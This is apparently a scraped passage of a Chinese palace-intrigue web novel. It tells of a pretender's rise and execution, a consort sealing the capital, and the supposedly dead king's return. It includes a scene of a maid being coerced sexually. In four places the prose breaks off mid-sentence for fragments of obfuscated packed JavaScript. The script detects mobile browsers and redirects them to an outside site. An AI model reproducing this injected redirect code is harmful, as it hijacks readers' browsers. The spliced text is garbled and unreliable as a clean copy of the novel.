正当秋月以为江念不会开口时,听她轻飘飘地说道:“他踏足不了西殿。” …… 前廷大殿之上…… “太后,那位贺姓男子虽为王族旁支,但血统纯正,正当为下一任君王,国不可一日无君,请太后早作定夺。”此时一位高氏族人出列说道。 反对小王子为储君的朝臣们纷纷附议,然而最初发出反对之声的兀良哈却闭嘴不言。 兀良哈对小王子及梁妃没有私人恩怨,也不是刻意针对,单单就是因为小王子身上流有一半梁人血脉,可这不代表他支持一个废物接管夷越。 高太后双目沉沉地看着殿上那些支持者的嘴脸。 知道此事是她兄弟在背后一手谋划,她派人暗中查探了那人的身世,其祖辈确实是呼延氏的分支,后因犯事摘除王姓,贬为庶人。 也正因如此,十分叫她头疼,这个叫贺三的真有继承王位的资格。 正在此时,一人站了出来,说道:“此人既已摘除王姓,那便同王族没有任何关系,怎能再叫罪人之后重握王柄,若是复启,各位大人将先王的圣言置于何地?” 众人看去,说话之人正是参知学士崔致远。 “不错,此人已是庶民,便没了继承王位的资格。” 支持小王子为储君的朝臣们纷纷附议。 如今朝堂之上分为两派,一派以血统支持贺姓男子为王,一派以王之子嗣支持小王子为储君,局面再一次相持不下。 彼边,贺三被高家家主安排住进京都的府邸。 贺三从来没住过这样大的房子,房子里面还有好大的湖,湖边垒着石头山,小径逶迤不知通往何处,白玉石雕镂的护栏,处处花香细生,当真是天上宫阙一般。 府中的丫鬟们备了热水和干净的衣裳。 “这位大人,热水已备好,可以沐身了。”一个貌美的丫鬟走到屋外,请贺三入屋。 贺三仍不舍地抚着院中的玉石栏,嘴里啧声连连,这要是敲一块回去,够他挥霍一辈子。 转念一想,这天下都是他的,以后想怎么样就怎么样,不禁又想到王庭里的美妇人,一时间骨头都钻出痒来。 “大人?热水备好了。”丫鬟又叫了一声。 贺三这才回过神,听见那一声“大人”,心里很是满意,走到屋内,立时上来两个美婢为其宽衣解带。 丫鬟忍着难闻的气味褪去眼前男子的脏衣,又为他松散了油糊糊的发辫。 贺三入到浴桶里,安然地享受着美婢们的伺候。 “你出去。”贺三指着其中一个丫鬟说道。 “是。” 那丫鬟躬身退下,另一名丫鬟随后准备退出,却被叫住:“你留下。” 这名丫鬟立马知道其意,纵使内心极不情愿,却也只能留下。 贺三从水里站起,身上也没几两肉,胸脯子下的肚腹往下瘪着,两侧凸起根根骨痕,看着眼前的丫鬟,笑出一口黄牙。 这京都府宅的丫鬟们个顶个的好看,虽是丫鬟,可放在之前,也不是他可以肖想的,如今却不得不乖巧地伺候他,叫他如何不得意,得意中又起了一丝恶趣的快慰。 当下赤条着骨瘦的身子,抱着眼前的丫鬟对嘴儿亲。 那美婢急得两眼通红,心里实在不情愿,于是挣脱开。 贺三气得哗啦啦从浴桶里出来,喝骂道:“你一个低贱的丫鬟,我睡你是你的福气,你还敢嫌弃?” 美婢哆嗦着跪下:“婢子不敢,大人息怒。” 贺三哼了一声,眼中淫光更甚,说道:“你怕是不知道我是谁,不妨告诉你,过不了几日,整个夷越都是我的,我是你们大王,到时候我看得上你?你就是想脱衣服还得排队哩!” 美婢不敢再言语。 贺三满意地点了点头:“自己个儿把衣裳脱光了,躺到床上去,把大王我伺候好了,届时封你一个王妃也不是不可能。” 美婢心里万分不愿,这人嘴里腐臭,那一口黄牙看了叫人作呕,别说他是大王,就是天神,封她个王母娘娘当,她也不愿意。 可心里不愿归不愿,她们这些做婢子的,被主人安排入房里伺候客人,就没有自己的选择,只要主家同意,客人们把她们带走也是可以的。 于是不得不起身,走到榻边,一件一件宽去自己的衣物。 贺三舔了舔唇,也不拿浴巾拭身上的水渍,猴急地走到榻边,丑态尽显。 就在美婢褪下外裳,只剩一件小衣时,门外响起人声。 “去通传,老爷要见贺大人。” 丫鬟应下,敲响房门:“大人,老爷在前厅,有事相商。” 贺三看了看榻上的美婢,不得不压下**,心里叫骂,等我当上大王,就是我说了算,高老头还得看我脸色,不过他也清楚,在没坐上王座前,他必须讨好高家家主。 “还不起来伺候本大人穿衣?”贺三扬起下巴,翘着鼻孔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701670|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >美婢伺候眼前人穿衣的同时庆幸自己躲过一劫,不过躲得了今日,却躲不过明日,又是一片怆然。 贺三穿戴好后出了屋室,随着下人去了前厅。 高阿克将贺三从头到脚打量一遍,身上是洗干净了,也换了华服,可看着仍感觉脏,明明个头适中,而且衣裳也按他尺寸做的,就是撑不起来,十分不相称。 “高公,你唤我?”贺三被高阿克盯得有些不自在。 高阿克“嗯”了一声:“太后宣召,你随我立刻去一趟王庭。” “太后宣召?王……王庭?!”贺三惊呼道。 “不错,去王庭拜见圣太后,就算你做了君王,圣太后也是你名义上的母亲。”高阿克说道。 他高家要想通过贺三把控王权少不得圣太后的协助,太后是他亲妹,为了辅助母族,她不会不帮,既然她宣召,正巧他也有话同她商议。 贺三点头哈腰应“是”,心里却想着,这圣太后比他大不了多少,平白得他这么个好大儿,不过只要能让他坐上王座,别说当儿子,就是当孙子他也愿意。 贺三随在高家家主的身后,走在王庭宽大的甬道上,缩着肩背,只敢用余光打量这座嵯峨宫宇,暗忖道,不久他就是这座王庭的主人,于是又把肩背挺直,可走着走着,那腰不知觉得又弯了。 高阿克眼一翻,这个贺三简直连个普通人都不如。 终于到了祥云殿。 殿前宫婢往里通传,不一会儿出来,引着高阿克和贺三进入殿内。 贺三缩乞着肩,不敢抬头,可又禁不住好奇地用余光打量起来。 原来这就是大王他老娘住的地方,当真是仙宫,入目皆是宝光闪闪,就连脚下的地面都能照出人影。 “高家主拜见圣太后,伏惟太后圣安。”高阿克撩衣跪下,叩拜道。 贺三听后,慌得跟着跪下,插烛似的把头磕在地面。 高太后睨着阶下二人,说道:“起身罢。” 高阿克起身后,高太后赐座,宫婢上了茶水,贺三不敢坐,缩手缩脚地立在高阿克身边。 “高公说的呼延氏就是这位?”高太后问道。 高阿克怔了怔,从前太后见着他会客气地称一声兄长,这会儿却称为高公。 “回太后的话,正是,此人的身世想必您已知晓,还望太后以大局为重,宗庙为先,尽早安排新王继位,方能安百官之心,抚万民之意。” 高太后冷声道:“一个来路不明之人,高公也敢叫他承继王位,未免太过儿戏。” “老拙自有办法证明他的身份,只是……若证实了他确为呼延氏一脉,太后可立此人为王?” “就算他出自呼延氏一脉,也无资格登上王位,王位当由我孙儿继承,这世上再无人比他更有资格。”高太后说道。 贺三听说,心里叫骂,好个老婆子,这是想立小杂种为王,等着罢,等我当上君王,非得把你们这些看不起我的人都踩在脚下。 高阿克沉着道:“太后何必苦撑,上至朝堂,下至民间,随便叫住一人问一问,看看他们想不想让小王子当夷越之主。” 正说着,殿外通传,梁妃殿下拜见…… 第223章 双杀妙计! 高家家主领着贺三进了王庭,一来向圣太后施压,二来就势让他入主西殿,只要让贺三住进王殿,一切就水到渠成。 他知他这个妹子的心性,更愿让自己的孙儿承继王位,可她心里也清楚那孩子血统不纯,她是个最注重礼教传统之人,不过为着一己私情这才护着,能拖一时算一时罢了,真到最后,她也只能认贺三为王。 所以他带着贺三到她面前,逼她立即做出抉择。 不承想,正说着,殿外通传梁妃拜见,宫人领着江念进入殿中。 “妾身给太后请安。”江念朝上行礼。 “不必多礼,坐下说话。”高太后赐座。 江念坐于高太后左侧,而高阿克不得不起身朝江念行礼。 “老拙见过梁妃殿下,恭请殿下圣安。” “高公免礼。” 清柔的女声传来,高阿克重新告了座。 而立于高阿克身侧的贺三已经完全失了魂,两眼直愣愣的不会转动,浑身骨软筋麻就要站立不住。 这美人儿就是梁妃了,只见她翠弯弯两道新月眉,一双碧清的妙目,嗔视有情,粉面薄腮,风姿娇媚,衣袂生香,只叫人看一眼,就酥倒在她的湘裙边。 “朔儿呢?”高太后问道。 江念微笑道:“他睡熟了,妾身叫乳母看候着,待他醒了再抱来。” “小儿家多睡,莫要惊到他。”一提起孙儿,高太后的声调都柔和了许多。 江念先看向对面的高家家主,眉目转盼间,又看向高家家主身后之人。 “这位是?” 不待高家家主发话,贺三已抢说道:“殿下,小的叫贺三。”说着,恨不能立刻俯身于江念脚边。 江念笑着点头:“说是祖上为呼延氏,可是你?” “是小的,是小的,小的身上流着呼延氏的血,也算是呼延氏的后人。”这会儿贺三满心满眼只有眼前女子,哪里还管别的,浑像被迷住了。 高阿克冷着一张老脸,看向江念,同一时,江念也回看向他。 “高公今日将这位带来王庭是何用意?” 高阿克笑了一声:“不是老拙带他来王庭,而是太后传召老拙前来,再者,他本就是王庭的主人,殿下不如回西殿早做准备,好迎奉新王。” 说罢,略有深意地笑了笑,高阿克本是故意恶心江念的话,不料贺三却当了真,把腰板挺了再挺,说道:“梁妃,你速回王殿,洗干净身子,晚间好生伺候我,不洗也成……” 高阿克一口气差点没缓过来,气得仰倒,直想把此人的嘴撕烂了,此等轻薄之言当着圣太后和梁妃的面哪里能说! 他难道没看见刚才他还要向这女人行礼?你贺三算个什么东西!敢说这话! 果不其然,不待圣太后发话,对面“啪——”的一声脆响,茶盏落地碎裂。 “好个粗鄙无礼之徒,满嘴污言秽语,这就是高公带来的人?!以下犯上,罪责当诛,来人!”江念大喝一声。 阿多图带着亲卫立时冲了进来,两名亲卫上前把贺三按压在地。 “殿下这是做什么,此人将是夷越王,何来的以下犯上?”高阿克眼见形势不对,猛地站起。 江念面上平静,慢慢端起茶盏,说道:“高公也说了‘将是’,也就意味着他还不是,此等市井之徒竟敢言语冒犯本殿,高公说说看,当不当罚?” 高阿克无法只能认下,心道,回去再教其规矩,在这个贺三坐上王位前不可生事,否则坏了他的大计。 正想着,就听江念轻飘飘地说道:“拖下去……斩了罢。” 高阿克面色唰的一白,看着对面的江念,又转头看了一眼上首的高太后,心里大叫一声不好,中计了!想要出声阻止已是来不及,亲卫把人架了下去。 那贺三口里还叫嚷着:“大胆,我是你们的大王,你们放开我,放开我……” 话音戛然而止,亲卫把人拉到殿外就地斩杀,动作如此迅速,半点不拖泥带水。 “你……你……好你个梁女……竟敢弑王族。”高阿克气得浑身发抖,他是真没想到,她竟敢做到这一步,杀伐如此决绝。 江念将茶盏放回桌案,缓缓站起身,声音平平:“高家家主企图混淆天潢,秽乱宫闱,罪同谋逆!来人,把此等奸佞拉下去,关起来,静候发落。” 高阿克转头看向上首的高太后,见她没有半点惊异之色,当下明白过来,这是两人合谋,等他入瓮呢! “好,好,梁妃,你不会以为把我关起来,就能如你所愿了?你生的小杂种能当夷越储君?不怕告诉你,只要我出事,随我而来的高家人立马回弥城报信,届时战火再起,你就是夷越的罪人!” 江念轻笑道:“城门早已禁闭,你高家人出不了城。” 高阿克不可置信道:“你居然封城!我看你能封几时!梁女,你疯了,为了让你孩子成为储君,你当真是疯了。” 封城意味着什么,意味把整个京都城的百姓囚禁起来。 江念给阿多图睇了一个眼色,阿多图一挥手,亲卫把高阿克押了下去。 江念转身看向上首的高太后:“为了朔儿,妾身没退路了,妾身也不知这么做是对是错。” 高太后轻轻一叹:“已然走到这一步,你只管去做,朝堂那边有我。” 江念一出祥云殿,叫阿多图立马召达鲁前来,又是一番吩咐。 “将军,城门处加派人手,任何人不得出入。” 达鲁应诺。 …… 崔致远如今仍住在阿史府中,他原先的府邸被封了,官复原职后他也没有精力去打理。 成日为着立小王子为储君一事,往各大要员府里奔走,这不,刚从右大臣兀良哈府上回来,一下轿子就碰见阿史勒急匆匆往外去。 “干什么去,这般慌张?” “梁妃殿下让达鲁把城封了,又叫我去王庭,想是有机要交代。” 崔致远大惊:“封城?!怎会封城?” “不知,定是出了大事,我得赶去。”阿史勒说着翻身上马,往王庭奔去。 崔致远眉头紧锁,封城可不是小事,最易惹来民怨,夷越历来从未有过封城之举。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701671|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿史勒进入王庭,阿多图已在门前候着,带他到了议政殿,又由丹增引到议政殿门前。 “大人稍候,老奴先通传。”丹增说罢进入殿内,不一会儿从内转出,“大人请移步殿内。” 阿史勒颔首,入到殿内,看见梁妃坐于御案边的一张侧案后,于是上前行礼。 “臣拜见梁妃殿下。” “大人免礼,坐下说话。”江念说道。 阿史勒起身,却不敢就座。 然而他发现,他不坐,上首之人便不开口,周边的空气变得压人,也不知怎的,梁妃说话的腔子并不重,可他就是有些怵,叫人不能违抗。 在安静中,阿史勒告了座。 江念这才开口:“大人可知城封了?” “臣已知晓,达鲁将军带人封锁了城门,不许任何人出入。” 江念“嗯”了一声,又道:“大人可知我为何封城。” “臣不知。” “本殿杀了那人。”江念说道。 阿史勒立马明白过来“那人”是指谁,只听梁妃又道:“高家家主也被本殿关押起来。” 一语毕,没了后言,又是一片安静。 阿史勒知道梁妃在等自己表态,于是站起身,向上躬身道:“一切听凭殿下安排。” 江念满意地点了点头。 “你立刻让禁军围住高家在京都的所有府宅,另外,挨家挨户盘查,来京的外地人皆有路引和户帖,不能放过任何一个高家人。” 阿史勒疑惑道:“就算把高家人抓获,高家家主久不回弥城,此事终不能掩盖,弥城的高家兵仍会进犯京都,这一战怕是避不过。” “不错,封城也只是暂时的,只待大局落定,京都门禁可解,届时高家再敢发兵京都,便以谋逆之罪全部**歼灭。” 阿史勒心下凛然,竟是双杀妙计!一面软禁高家人拖延时间,让圣太后在朝中确立小王子储君身份,这便是梁妃说的“大局落定”,待新君名分稳下,再放高家人回去报信说高阿克被擒,高家盛怒之下定要发兵讨公道。 此时扣顶**的帽子,高家百年基业顷刻覆灭!经此铁腕震慑,整个朝野谁还敢有二心! 圣太后和梁妃为了小王子居然在这件事上站到了同一阵营。 阿史勒不敢耽误,当下领命去了。 高家人眼见形势不对,从府中躲了出去,然而城门封禁,出不得城。 接下来的时日,阿史勒带着禁卫挨家挨户查找,核验人的身份并不难,只需查验户籍便可。 京都中不少外来之人,身上也有路引或是户帖,若是没有任何凭证,便将人暂时关押起来。 核验容易,但经不住京都人口杂多,真正差办起来,并非一件易事。 …… 再说彼边,梁西境…… 大梁朝廷同恒王为争西境的宣州十三城,交战已久,朝廷兵马不敌,日渐势弱,最后不得不溃败撤离。 恒王人马虽然获胜,却也折损兵将。 这夜,梁西宣州的一处府邸内,前太子李恒宴请众将,厅上歌舞吹弹,好不热闹…… 第224章 大王归来 华厅之上,灯火莹莹。 正首坐着太子李恒,堂下两溜矮案,案几后坐着边境众将,案上排着各类菜肴酒馔,还有鲜果,又有美婢于桌案边侍酒递杯。 “这一仗打得真是痛快!”其中一员大将说道。 “就朝廷那些酒囊饭袋,多出三万兵马,仍是不堪一击。”又一人说道。 “先前我最担心的就是夷越兵,嗳!虽说为敌,但不能不承认,那人当真是骁勇,只是可惜了,是个短命鬼……” 这人话未说完,被另一人提醒:“你说话注意点,再怎么说也是小轲的姐夫。” “什么姐夫,我那次在帐外偷听了一耳朵,咱们这仗打胜后,太子殿下就要派人去夷越把江家女郎接到身边,要说姐夫,咱们殿下才是姐夫。” 李恒扫了一眼堂下,举起酒盏,从案后站起,堂下众人跟着站起身,双手执盏。 “梁西一战,幸有各位将军,宣州十三城才得以攻下,这一盏敬请各位将军。”李恒说罢喝下杯中酒。 堂下众将也一齐仰头喝下杯中酒。 歌舞继续,众人吃喝正酣,只有一人愁眉不展。 杯中的酒空了也不叫婢女续酒,只是把酒盏在指尖把玩,然而他的心思完全不在酒盏上,亦不在这座华厅内。 江轲愁着如何接出江念,两国本就因战事不睦,他们的君王呼延吉又在战场上命殒,只怕阿姐在王庭境况十分艰难,想要接她出来,更是难上加难。 此时,一个女婢走来,俯身到他跟前,低声道:“江将军,殿下请您过去。” 江轲抬眼看去,就见李恒拿下巴指了指左手边的案几,示意他坐过去。 江轲起身,走到他的左手边坐下。 “酒没喝好?”李恒问道。 江轲不语。 李恒亲自给他倒了一盏,推到他面前:“今夜该吃吃该喝喝,明日出发去夷越王庭。” 江轲猛地抬头。 “我知道你心里惦着她,我又何尝不是,明日我同你带一彪人马赶往夷越京都,去了那里再想办法。”李恒擒着酒盏,放到唇下轻抿一下,再仰头闷下。 “此去难料,为太子安危着想,还请太子镇守军中,只需给我人马即可,轲儿独自前去。”江轲心中感动。 李恒想了想,点头道:“千万不要贸然行事,把情况探看清楚,若实在救不出,你就回来,我们再商议对策。” 江轲给自己杯中满上酒,举起:“多谢殿下。” 李恒微笑道:“等你阿姐来了,我们又能同以前一样。” 江轲抬眼看向太子,在提起阿姐时,那一双温凉的眼有一瞬升了温度,也就那么一刹那,快得让人捉不住,最后连余温都没了。 江轲因明日能出发京都,便迫切地盼着这一晚快些过,不过他得趁今夜好好筹谋一番如何救人。 心里思索着,一个拉长且惊惶的声音从殿外传来,打破了欢闹的筵宴,只见一个信报兵从黑魆魆的院外跑来,上阶时还跌了一跤。 “报——” “何事,如此慌张?”一名大将拍案喝道。 那信报兵身上染血,满面黑灰,扑跪在地,急声道:“有人趁夜焚我军粮草辎重,如今粮草已被尽行烧绝……” “什么?!”众将大喝一声,“看清是何人所为没有?” 信报兵想起逃离前看到的一幕,身上一个激灵,说道:“看……看清了,是夷越兵,还有……” “还有什么?快说!” 天暗,可冲起的火光把天都烧红了,在那通天的火光中,他看清了帅旗下的人…… “那人一头褐金色的长发,是……是褐金色……全副披挂,像是夷越王……呼延吉……” 江轲手里的杯盏兀地滑落,不可置信的眸光中又透着难以言喻的欣喜,很是复杂。 “呼延吉?!怎么可能,他不是早已丧身山道了么?”堂下众将不信,以为信报兵看错了。 正在众人纷乱气愤之时,一个声音从上首传来:“可是看清了?” 没有太过的情绪,只是一个平平的发问,却叫所有人安静下来。 信报兵抱拳道:“回殿下的话,不会错的,就是呼延吉。” 李恒眼皮往下压了压,没再质问,他的面上甚至看不出半分恼怒,只是目光落到桌案上,静停了一会儿,当下就做了决定。 “召集兵马,撤离。” 众将听后,不忿道:“就算是呼延吉又怎样,大不了同他正面战一场,殿下为何下令撤离,好不容易打下的宣州,怎能就此拱手让人。” 李恒抬起手往下压了压,示意众人坐下:“同朝廷一战,我军势气渐乏,何况粮草辎重被烧,虽说小燕城还有屯粮,却叫我方折损惨重,呼延吉使得一手隔岸观火,如今又添新柴,眼下万不可正面迎对,只能避其锐气。” 众人便不再言语,其中一人出声问道:“难道就这么回东境?” 他们兴师动众就此空手而归?任谁也不会甘心。 李恒伸手轻轻一招,立于一侧的贴身小厮宝昌上前,往桌案上摊出舆图。 “众位将军近前来。”李恒说道。 众人扔下酒杯,围聚到桌案边,李恒一手指向位于西境的宣州,再斜向上一划,说道:“不回东境,直接北上。” “北上?那不就是梁室朝廷……”众将相互看着,然后大笑起来,北上好!北上好哇! 朝廷败走后,恒王举办庆功宴。 而在另一边,呼延吉带人趁夜烧了恒王营帐,营中兵将四散,恒王召集兵马从西境撤离,此役呼延吉可谓是不战而胜。 至此,梁西的宣州十三城,算是真正划入夷越境内。 呼延吉没有留昆善守城,而是留了另几名大将守宣州。 “此次回京都,你随我一路。”呼延吉说道。 昆善应是:“只怕京都眼下并不太平。” 呼延吉哼笑一声:“不太平正好,我倒要看看是谁在作乱,正好一举灭个干净。” 就这么,呼延吉一刻不再耽搁,休整一夜后,归心似箭地领着几万人马往京都驶去。 清灭奸佞倒还是其次,最重要的是他得赶快回去同妻儿团聚。 …… 京都封城已有不少时日,小王子立为储君一事一直僵持不下,城中禁军又挨家挨户抓捕高家人。 如今的京都人人风声鹤唳,急着证明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707690|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己不是高家人,生怕被牵连,要说百姓们无怨言吗,自然是有的,却也无法,唯有隐忍,这个时候的他们无比想念曾经的英主。 吉王在时,百姓生活和乐,京都城人烟阜盛,夜不闭户,可如今一会儿是朵家私兵进入都中,围困王庭,闹得人心惶惶,之后边境军把朵家兵撵跑,孰料边境军闹得更大,做得更绝,不围王庭了,直接把整座城围了。 这还不算,闹到最后,高家必要带兵前来讨要公道,又是一番血雨腥风。 老百姓们想得很简单,就想要太平日子过,衣食不缺,人人都祈盼再过上从前富兴的日子。 夜里,京都城头,城卫们不敢懈怠,换防巡守,上头交代过,近日要格外警醒,不排除高家觉察异动,直接引兵攻入京都。 “你们几个眼睛睁大一点,换防时也不能掉以轻心,一会儿有人来送饭。”一名城卫长说道。 “头儿,能不能送些酒来?”另一名城卫兵问道。 “你还想喝酒?断头酒要不要?”城卫长不答反问。 城卫兵嘿笑一声,不敢再言语。 “行了,等这一阵过了,就不必这样辛苦。” 另几名城卫兵扬声道:“嗳!这可真是大神打架,咱们小鬼遭殃……” 话音未落,众人感到脚下的石板震动,轰隆隆如江浪涛涛,如云雷滚滚。 “戒备!” “戒备!” 城头熊熊的火把在风中烈烈作响,却只能把眼前照亮,照不到更远,鼓声一响,城卫们立马拈箭搭弓,双目紧盯,对准幽暗的黑夜。 这时黑夜里响起孤单单的马蹄声,因夜里太过安静,马蹄声显得格外清晰。 “来者何人?!”城卫大声问道。 马蹄声从黑夜渐渐出到亮处,是一个小兵。 “速开城门,大王归来!”小兵高声叫喝。 城卫们听后先是一怔,接着大笑出声,此时城卫长走到亮处,看了小兵一眼,开口道:“京都封禁许久,防得就是你们,回去告诉你家主子,哪儿来的滚回哪儿去,否则别怪我们不客气!” 那小兵听了把脸憋得通红,气得嘴巴哆嗦不清:“啥子耶?你……你有胆子把刚才那话再说一遍!” 城卫长心道,下次得做个扩音的物件,不然把嗓子叫破了,还得再说一遍:“防得就是你……” 小兵大喝一声:“最后一句,我叫你把最后一句再说一遍!” 城卫长算是明白了,呵了一声,脸上表情一垮,扬声道:“哪儿来的滚回哪儿去,否则别怪我们不客气!” “好,老子把你记下了,给我等着!”小兵说罢勒马掉头,走之前又多问了一句:“为何封禁都城?” 城卫长不欲多说,只道了一句:“我等奉梁妃殿下之命封城,又有东境军护城,劝尔等速速退去,京都不是你们这些人该来的地方。” 小兵听后不再言语,往黑夜奔去。 城卫们你看看我,我再看看你,惊疑道:“这就走了?” 城卫长哼笑道:“想是回去报信了,高家如果知道京都有东境军护城,定然不敢冒进,必会撤退,一群宵小之辈,不足为惧……” 第225章 “逆贼”是自家媳妇 呼延吉同昆善引着大队人马跋涉千里回京都,因先前差去的邮人说荣水湾的府宅已空置,所以呼延吉径往京都行来。 在距都城几十里地之时,昆善让先头兵去城门递话,开门迎候。 “大王此番收宣州十三城,夷越版图又扩千里,照此势头,梁境全境纳入囊中指日可待。”昆善语调轻松地说道。 呼延吉一手挽辔,纵马缓缓前行,笑了笑并不言语。 虽是不语,昆善却能看出君王心情很是不错,正要再说什么,前去的先头兵纵马回了,滚鞍下马回报道:“大王,都城被封禁了!” 昆善惊道:“封城?” “是。” 小兵又道:“那些城卫好不嚣张,他们说……” “说什么?”昆善追问道。 “那些城头兵叫嚣着让我们打哪儿来的,滚回哪儿去,全然一副占山为王的土匪架势。” “混账!岂有此理,简直贼胆包天,目中无人,你可有报说大王归来?” 小兵立马回道:“报了,他们说‘防得就是你们’,气煞人也。” 呼延吉冷笑一声,看向昆善:“先前我说什么来着?一个假死,把这些奸佞都炸了出来,也是值了,此账得好好清算,本王倒要看看哪个不要命的混账玩意敢封城。” 小兵支吾了一会儿,要说不说的样子。 呼延吉眉头一凝:“有话?” 小兵又道:“回大王,锁城兵将是东境军。” “东境军?那不是达鲁的人马么?”昆善看向呼延吉,“难道他又投于朵尔罕麾下了?” 不待呼延吉多想,那小兵说道:“不是朵家,他们说了下令封城之人是……” 昆善急声道:“你这小将,真真把人急死,快说,贼首是谁?” “他们说下令封城之人是梁妃殿下。” 昆善刚要破口大骂,脏话到了嘴边,又从舌尖滚了回去,然后侧目,就见君王脸上的表情一言难尽,暗忖道,大王之前说要清算逆贼,不知那话作不作数? 呼延吉有些不信,对那小兵说道:“你再去报,就说传话梁妃殿下,大王回了。” 小兵有种热脸贴冷屁股的感觉,他随在大王跟前从未有今日这番冷遇,想归这么归,行动上却不敢耽搁,再次纵马去了城门。 而在小兵去后,呼延吉不再往前,挥停身后人马,叫他们就地休憩。 昆善这会儿也不敢说什么,反正大王脸上的喜色,这会儿全没了,心里正忐忑,就听大王说道:“想来是误会,她要知道我回了,不会这样,定会打开城门迎接,我们先在这里候着。” “大王说的是。” 于是众人也不前行,就在此处燃了篝火暂歇。 小兵再次去了城门前,城门卫见只有他一人,且刚才来过,叱喝道:“再往前行一步,立即射杀。” 小兵不敢再纵马上前,只在城头的火光下立着,高声道:“不开城门也罢,只是速速往王庭通报,告知梁妃殿下,就说大王回了。” 城卫长回语道:“当我等是三岁小儿?大王在边境战中身殒,你们却拿大王行骗,不知所谓的小猢狲!” 小兵气急,说道:“又不叫开城门,只让尔等往内通传,少你一块肉怎的?真要是大王回了,你们如此这般,我看你们有几个脑袋掉,谁担得起罪责?” 那卫长听说,一时也有些迟疑起来,心道,不论是真是假,他只需把话带到,职责也就尽到了,若真出了事,却因他阻了消息,这个罪过他确实担不起。 “你等着,这就往里通传。” 小兵在原地等候。 城卫长下了城头,先去了禁军值卫所,把话传到,那禁军值守之人也不敢耽搁,又通传到阿史府上。 深更夜重,阿史勒已然睡下,房门被下人敲响,说是城门处有情况,于是急忙起身披上衣物,出了房门。 待值班的禁卫道出缘由后,阿史勒搓了搓脸,一手叉到腰胯处,又问了一遍:“那人说大王归来?” “是,还说让我等去王庭报知梁妃殿下。” 阿史勒让人备马,亲身去了王庭。 …… 深更时分,江念慢慢睁开眼,侧头看着怀里的孩子,悠悠叹出一息,太后在朝堂之上同那些朝臣们斡旋已久,还有崔致远四下走访游说,又有罗家和阿史家支持,可储位仍无法定下。 这些人是把君王之死和国仇家恨皆算在了他们母子头上。 甚至有朝臣扬言,若太后执意立小王子为储君,他们就血谏于东市,宁可血溅三尺,也要阻动摇国本之事。 江念抬起手,轻轻地抚上孩子的小脸,又拿唇在他脸上揾了揾,小儿脸蛋温温软软的,从她这里可以看清那嫩脸上纤柔可爱的绒毛。 朔儿,娘该怎么办呢? 于是又是一声轻捻捻的叹息,这时门被敲响,敲得很小心,像是怕惊到寝屋里的人,又怕敲轻了,里间的人听不见门声。 秋月从隔间起身,披上衣衫趿着鞋前去开门,门前立着的不是别人,正是木雅。 “怎么了?”秋月见她面色有些古怪,问道。 木雅越过她的肩头,往里望了望:“有大事,需得传知殿下。” 秋月侧身把木雅让进寝屋中,轻声道:“你在这儿等会儿,适才还听见动静,想是还醒着。” 木雅点了点头,一双手相互绞着,秋月见她这样倒是好奇,木雅最是沉稳的一人,不知何事叫她着急到失态。 秋月行到榻边,半屈着身,轻声道:“主子,木雅说有事报知,像是挺急的。” “知道了。” 轻柔的声音透过纱帐,秋月见纱帘内人影坐起,于是伸手擎起半边帐幔。 江念拢上衣衫,下了床榻:“看着朔儿。” 秋月应是,侧身坐于榻沿。 江念走到矮案边,坐下,木雅赶忙上前,行过礼,启口道:“殿下,阿史勒大人深夜急入王庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707691|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,报于大宫监,说城门有异动。” “什么人?”江念用长箸挑开炉盖,准备煮一壶水。 “是一名小兵,不过他说,他是大王的部下。”木雅躬身说着,抬眼觑了一眼对面的梁妃,继续道,“他还说大王带兵回了……” 一语毕,就见梁妃拿长箸的手猛地一顿,随之又若无其事地挑起炭火。 “这可是什么鬼话都能编。”江念嗤笑出声,可这笑里没有半点笑意。 木雅揣度道:“婢子明白了,这就去回大宫监,传话于阿史勒大人严加把守城防。” 江念淡淡地“嗯”了一声。 木雅躬身退下,就在走到寝屋门前时又被叫住,于是转过身,就见梁妃微微敛着眼皮,面上无过多表情地说道:“左右现在无法睡去,替我更衣,去看看罢。” 木雅先是一怔,立马叫来两名宫婢,轻着手脚替她更衣理妆。 